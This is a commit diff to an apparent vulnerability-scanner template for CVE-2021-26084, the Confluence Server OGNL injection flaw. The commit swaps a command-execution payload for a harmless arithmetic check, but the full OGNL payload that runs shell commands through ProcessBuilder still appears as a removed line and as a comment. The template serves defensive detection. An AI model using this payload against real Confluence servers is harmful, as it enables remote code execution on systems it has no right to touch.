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safe payload + reference

patch-1
sandeep 2021-09-02 00:04:06 +05:30
parent a4def73aa8
commit 38b456eb34
1 changed files with 6 additions and 8 deletions
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14
cves/2021/CVE-2021-26084.yaml
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@ -3,11 +3,12 @@ id: CVE-2021-26084
info:
author: dhiyaneshDk
severity: critical
name: Confluence Server Webwork OGNL injection
name: Confluence Server OGNL injection - RCE
description: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.
tags: cve,cve2021,rce,confluence
reference:
- https://jira.atlassian.com/browse/CONFSERVER-67940.
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
requests:
@ -17,8 +18,8 @@ requests:
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022ifconfig\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027
queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
# queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022ifconfig\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027
matchers-condition: and
matchers:
- type: status
@ -28,7 +29,4 @@ requests:
- type: word
part: body
words:
- 'inet'
- 'inet6'
- 'netmask'
condition: and
- 'value="aaaa{140592=null}'